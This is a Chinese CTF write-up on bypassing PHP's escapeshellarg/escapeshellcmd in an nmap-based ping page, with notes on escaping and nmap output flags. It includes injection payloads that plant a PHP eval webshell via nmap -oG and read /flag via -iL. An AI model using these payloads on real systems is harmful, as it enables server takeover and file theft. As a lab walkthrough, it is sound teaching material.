打开题目
在源代码中看到了提示
先随便输入127.0.0.1
那我们试试输入
127.0.0.1 | ls
可以看到 | 被转义符号\所转义
那我们输入 127.0.0.1 /| ls
得到三条反斜线
我们猜测,我们输入的东西是被escapeshellarg和escapeshellcmd处理过后的结果
我们输入的东西必须绕过这两个函数
1.直接放入payload
' <?php @eval($_POST["y"]);?> -oG hack.php '
可以看得出来对php字段有过滤
我们修改payload为' <?= @eval($_POST["y"]);?> -oG hack.phtml '
访问成功
蚁剑连接一下
在根目录下找到了flag
2.或者payload为
127.0.0.1' -iL /flag -o uuuu
我们访问一下uuuu’ 文件
知识点:
1.转义字符
转义字符
是指在ASCII码和Unicode等字符集中的无法被键盘录入的字符
、被当作特殊用途而需要转换回它原来的意义的字符
。而转义字符
的转义
是指字符已经被转换了意义
2.escapeshellcmd和escapeshellarg函数
-
escapeshellarg函数
在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。也就是会把一些字符替换成空格。
-
escapeshellcmd函数
反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\
、\x0A
和 \xFF
。 '
和 "
仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 %
和 !
字符前面都有一个插入符号(^
)。也就是会在这些字符前面插入 \ ,如果是在windows上就会插入^
实例:
1.
2.
详情见:
PHP: escapeshellcmd - Manual
nmap的一些命令
- nmap 192.168.96.4 -oX myscan.xml //对扫描结果另存在myscan.xml
- nmap -oG output.txt target
其中 target 是要扫描的目标主机或 IP 地址。这将在名为 output.txt 的文件中生成 grepable 格式的输出
- nmap -iL target.txt
读取文件内容,以文件内容作为搜索目标,nmap 将读取 target.txt
文件中的每个目标,然后对每个目标执行扫描操作,并显示扫描结果。请确保 target.txt
文件的格式是每行一个目标主机或 IP 地址
如 nmap -iL target.txt -o result.txt
//扫描target.txt里面的内容并输出保存为result.txt
- nmap -o系列
输出
-oN 标准输出
-oX XMl输出
-oS script jlddi3
-oG grepable
-oA 同时输出三种主要格式
-v 信息详细级别
-d 调试级别
--packet-trace 跟踪发送和接收的报文
--reason 显示端口处于特殊状态的原因
--open 仅显示开放的端口
关于一句话木马的小知识点
为什么<?php @eval(_POST["y"]); ?>可以替换成<?= @eval(_POST["y"]); ?>
主要是因为在php中,
<?=
?>
等价为
<?php echo
?>
总而言之就是,在 PHP 中,'<?= ?>' 是一种简短的标记,用于输出内容。它等效于 '<?php echo ?>' ,一句话木马就是php代码,需要去解析php,支持解析的文件有php3,php4,php5,phtml
知识点参考;
https://paper.seebug.org/164/